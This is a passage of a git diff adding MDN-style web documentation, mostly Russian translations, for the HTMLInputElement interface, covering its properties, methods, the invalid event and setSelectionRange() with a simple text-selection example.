+   <td>Reflects the {{ htmlattrxref("maxlength", "input") }} HTML attribute, containing the maximum length of text (in Unicode code points) that the value can be changed to. The constraint is evaluated only when the value is changed
+    <div class="note"><strong>Note:</strong> If you set <code>maxLength</code> to a negative value programmatically, an exception will be thrown.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("min", "input") }} HTML attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td> </td>
+   <td>Reflects the {{ htmlattrxref("multiple", "input") }} HTML attribute, indicating whether more than one value is possible (e.g., multiple files).</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("name", "input") }} HTML attribute, containing a name that identifies the element when submitting the form.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("pattern", "input") }} HTML attribute, containing a regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span> or <span style="font-family: courier new;">email</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("placeholder", "input") }} HTML attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span> or <span style="font-family: courier new;">email</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Reflects the {{ htmlattrxref("readonly", "input") }} HTML attribute, indicating that the user cannot modify the value of the control.<br>
+     {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">range</span>, <span style="font-family: courier new;">color</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("required", "input") }} HTML attribute, indicating that the user must fill in a value before submitting a form.</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The direction in which selection occurred. This is <code>"forward"</code> if selection was performed in the start-to-end direction of the current locale, or <code>"backward"</code> for the opposite direction. This can also be <code>"none"</code> if the direction is unknown."</td>
+  </tr>
+  <tr>
+   <td><code>selectionEnd</code></td>
+   <td><code>unsigned long</code></td>
+   <td>The index of the end of selected text.</td>
+  </tr>
+  <tr>
+   <td><code>selectionStart</code></td>
+   <td><code>unsigned long</code></td>
+   <td>The index of the beginning of selected text. When nothing is selected, this is also the caret position inside of the <code>&lt;input&gt;</code> element.</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Reflects the {{ htmlattrxref("size", "input") }} HTML attribute, containing size of the control. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">text</span> or <span style="font-family: courier new;">password</span>, in which case, it is an integer number of characters. {{ HTMLVersionInline(5) }} Applies only when {{htmlattrxref("type","input")}} is set to <span style="font-family: courier new;">text</span>, <span style="font-family: courier new;">search</span>, <span style="font-family: courier new;">tel</span>, <span style="font-family: courier new;">url</span>, <span style="font-family: courier new;">email</span>, or <span style="font-family: courier new;">password</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("src", "input") }} HTML attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("step", "input") }} HTML attribute, which works with<strong> </strong>{{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <span style="font-family: courier new;">any</span> or a positive floating point number. If this is not set to <span style="font-family: courier new;">any</span>, the control accepts only values at multiples of the step value greater than the minimum.</td>
+  </tr>
+  <tr>
+   <td><code>tabIndex</code></td>
+   <td>long</td>
+   <td>The position of the element in the tabbing navigation order for the current document.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("type", "input") }} HTML attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.</td>
+  </tr>
+  <tr>
+   <td><code>useMap</code> {{ obsolete_inline }}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A client-side image map.</td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is <code>false</code>), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity state that this element is in. </td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Current value in the control.</p>
+
+    <div class="note">
+    <p><strong>Note: </strong>for certain input types the returned value might not match the value the user has entered. For example, if the user enters a non-numeric value into an &lt;input type="number"&gt;, the returned value might be an empty string instead.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>valueAsDate</code></td>
+   <td>{{domxref("Date")}}</td>
+   <td>The value of the element, interpreted as a date, or <code>null</code> if conversion is not possible.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsNumber</code></td>
+   <td><code>double</code></td>
+   <td>The value of the element, interpreted as one of the following in order:
+    <ol>
+     <li>a time value</li>
+     <li>a number</li>
+     <li><code>NaN</code> if conversion is not possible</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("width", "input") }} HTML attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates whether the element is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Name &amp; Arguments</th>
+   <th>Return</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>blur()</code></td>
+   <td><code>void</code></td>
+   <td>Removes focus from input; keystrokes will subsequently go nowhere.</td>
+  </tr>
+  <tr>
+   <td><code>checkValidity</code>()</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Returns false if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns true if the element is not a candidate for constraint validation, or if it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>click()</code></td>
+   <td><code>void</code></td>
+   <td>Simulates a click on the element.</td>
+  </tr>
+  <tr>
+   <td><code>focus()</code></td>
+   <td><code>void</code></td>
+   <td>Focus on input; keystrokes will subsequently go to this element.</td>
+  </tr>
+  <tr>
+   <td><code>mozSetFileArray(files)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Sets the files selected on the input to the given array of <code><a href="/en-US/docs/Web/API/File">File</a></code> objects.  This is an alternative to <code>mozSetFileNameArray</code> which can be used in frame scripts: a chrome script can <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">open files as <code>File</code> objects</a> and send them via <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.mozGetFileNameArray" title="en/DOM/Input.mozGetFileNameArray">mozGetFileNameArray</a>(length, filenames)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Returns an array of all the file names from the input.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.mozSetFileNameArray" title="en/DOM/Input.mozSetFileNameArray">mozSetFileNameArray</a>(filenames, length)</code>{{non-standard_inline}}</td>
+   <td><code>void</code></td>
+   <td>Sets the filenames for the files selected on the input.  Not for use in <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">frame scripts</a>, because it accesses the filesystem.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.select" title="en/DOM/Input.select">select</a>()</code></td>
+   <td><code>void</code></td>
+   <td>Selects the input text in the element, and focuses it so the user can subsequently replace the whole entry.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity(error)</code></td>
+   <td><code>void</code></td>
+   <td>Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/DOM/Input.setSelectionRange" title="en/DOM/Input.setSelectionRange">setSelectionRange</a>(selectionStart, selectionEnd, [optional] selectionDirection)</code></td>
+   <td><code>void</code></td>
+   <td>Selects a range of text in the element (but does not focus it). The optional <code>selectionDirection</code> parameter may be <code>"forward"</code> or <code>"backward"</code> to establish the direction in which selection was set, or <code>"none"</code> if the direction is unknown or not relevant. The default is <code>"none"</code>. Specifying a <code>selectionDirection</code> parameter sets the value of the <code>selectionDirection</code> property.</td>
+  </tr>
+  <tr>
+   <td><code>setRangeText(replacement, [optional] start, [optional] end, [optional] selectMode)</code></td>
+   <td><code>void</code></td>
+   <td>Replaces a range of text with the new text. Supported input types: <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>password.</code></td>
+  </tr>
+  <tr>
+   <td><code>stepDown(n)</code></td>
+   <td><code>void</code></td>
+   <td>Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * <code>n</code>), where <code>n</code> defaults to <code>1</code> if not specified. Throws an <code>INVALID_STATE_ERR</code> exception:
+    <ul>
+     <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.</li>
+     <li>if the element has no {{htmlattrxref("step","input")}} value.</li>
+     <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number.</li>
+     <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. </li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>stepUp(n)</code></td>
+   <td><code>void</code></td>
+   <td>Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * <code>n</code>), where <code>n</code> defaults to <code>1</code> if not specified. Throws an <code>INVALID_STATE_ERR</code> exception:
+    <ul>
+     <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.</li>
+     <li>if the element has no {{htmlattrxref("step","input")}} value.</li>
+     <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number.</li>
+     <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tthe-input-element.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Technically, the  <code>tabindex</code> and <code>accesskey</code> properties, as well as the <code>blur()</code>, <code>click()</code>, and <code>focus()</code> methods, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following properties are now obsolete: <code>align</code> and <code>useMap</code>.<br>
+    The following properties have been added: <code>autocomplete</code>, <code>autofocus</code>, <code>dirName</code>, <code>files</code>, <code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>height</code>, <code>indeterminate</code>, <code>labels</code>, <code>list</code>, <code>max</code>, <code>min</code>, <code>multiple</code>, <code>pattern</code>, <code>placeholder</code>, <code>required</code>, <code>selectionDirection</code>, <code>selectionEnd</code>, <code>selectionStart</code>, <code>step</code>, <code>validationMessage</code>, <code>validity</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>, <code>width</code>, and <code>willValidate</code>.<br>
+    The following methods have been added: <code>checkValidity()</code>, <code>setCustomValidity()</code>, <code>setSelectionRange()</code>, <code>stepUp()</code>, and <code>stepDown()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>size</code> property is now an <code>unsigned</code> <code>long</code>. The <code>type</code> property must be entirely given in lowercase characters.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code> &amp; <code>autofocus</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>files</code> property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code> property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>indeterminate</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>list</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formTarget</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code>, <code>validationMessage</code>, <code>validity</code>, <code>willValidate</code> properties and <code>setCustomValidity()</code> and <code>checkValidity()</code> methods.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code>, <code>placeholder</code>, <code>required</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>height</code> and <code>weight</code> properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(16)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> property</td>
+   <td>{{CompatChrome(14.0)}}</td>
+   <td>{{CompatNo}} ({{bug("556743")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step</code> for <code>&lt;input type="number"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref <code>dom.experimental_forms</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>stepUp</code> and <code>stepDown</code> methods</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Experimental since {{CompatGeckoDesktop(16)}}: behind the pref <code>dom.experimental_forms</code><br>
+    <br>
+    There are still differences with the latest spec: {{bug(835773)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for <code>&lt;input type="range"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for <code>&lt;input type="date"&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref <code>dom.experimental_forms</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code>, and <code>step </code>properties for other date-related <code>type</code> values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetFileNameArray()</code> and <code>mozSetFileNameArray() </code>methods {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozSetFileArray()</code> method {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("input") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlinputelement/invalid_event/index.html b/files/ru/web/api/htmlinputelement/invalid_event/index.html
new file mode 100644
index 0000000000..505161cf4d
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/invalid_event/index.html
@@ -0,0 +1,56 @@
+---
+title: invalid
+slug: Web/API/HTMLInputElement/invalid_event
+translation_of: Web/API/HTMLInputElement/invalid_event
+---
+<p>Событие <code>invalid</code> запускается, когда отправляемый элемент был проверен, но его содержимое не удовлетворило установленные ограничения. Валидность отправляемого элемента проверяется до отправления формы или после вызова метода  <code><a href="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API" title="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API">checkValidity()</a></code>на элементе.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификаця</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></dd>
+ <dt><strong>Взаимодействие </strong>{{domxref("Event")}}</dt>
+ <dt style="float: left; text-align: right; width: 120px;">Всплытия</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемый</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Может препятствовать отправке формы.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
new file mode 100644
index 0000000000..fec7276464
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html
@@ -0,0 +1,174 @@
+---
+title: HTMLInputElement.setSelectionRange()
+slug: Web/API/HTMLInputElement/setSelectionRange
+tags:
+  - API
+  - HTML DOM
+  - HTMLInputElement
+  - Method
+  - Reference
+  - Text Field Selection API
+translation_of: Web/API/HTMLInputElement/setSelectionRange
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <strong><code>HTMLInputElement.setSelectionRange()</code></strong> устанавливает начальное и конечное положение выделения текста в элементе {{HTMLElement("input")}}.</p>
+
+<p>В более новых версиях браузеров, можно дополнительно установить направление выделения текста, что позволит, например, определить, что выделение сделано нажатием и перетаскиванием курсора мыши от конца выделенного текста до начала.</p>
+
+<p>Этот метод позволяет одним вызовом обновить свойства <code>HTMLInputElement.selectionStart</code>, <code>selectionEnd</code>, и <code>selectionDirection</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">inputElement.setSelectionRange(<var>selectionStart</var>, <var>selectionEnd</var>, [optional] <var>selectionDirection</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>selectionStart</em></dt>
+ <dd>Индекс первого выделенного символа.</dd>
+ <dt><em>selectionEnd</em></dt>
+ <dd>Индекс символа <em>после</em> последнего выделенного символа.</dd>
+ <dt><em>selectionDirection</em> {{optional_inline}}</dt>
+ <dd>Строка, определяющая направления произведенного выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвество или неважно.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset=utf-8&gt;
+&lt;title&gt;JS Bin&lt;/title&gt;
+&lt;script&gt;
+function SelectText () {
+        var input = document.getElementById("mytextbox");
+            input.focus();
+            input.setSelectionRange(2,5);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;&lt;input type="text" id="mytextbox" size="20" value="Mozilla"/&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;button onclick="SelectText()"&gt;Select text&lt;/button&gt;&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>приведет к следующему результату:</p>
+
+<p><img alt="example.png" class="default internal" src="/@api/deki/files/6104/=example.png"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#dom-textarea/input-setselectionrange", "HTMLInputElement.setSelectionRange")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "forms.html#dom-textarea/input-setselectionrange" , "HTMLInputElement.setSelectionRange" )}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>15<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("8.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
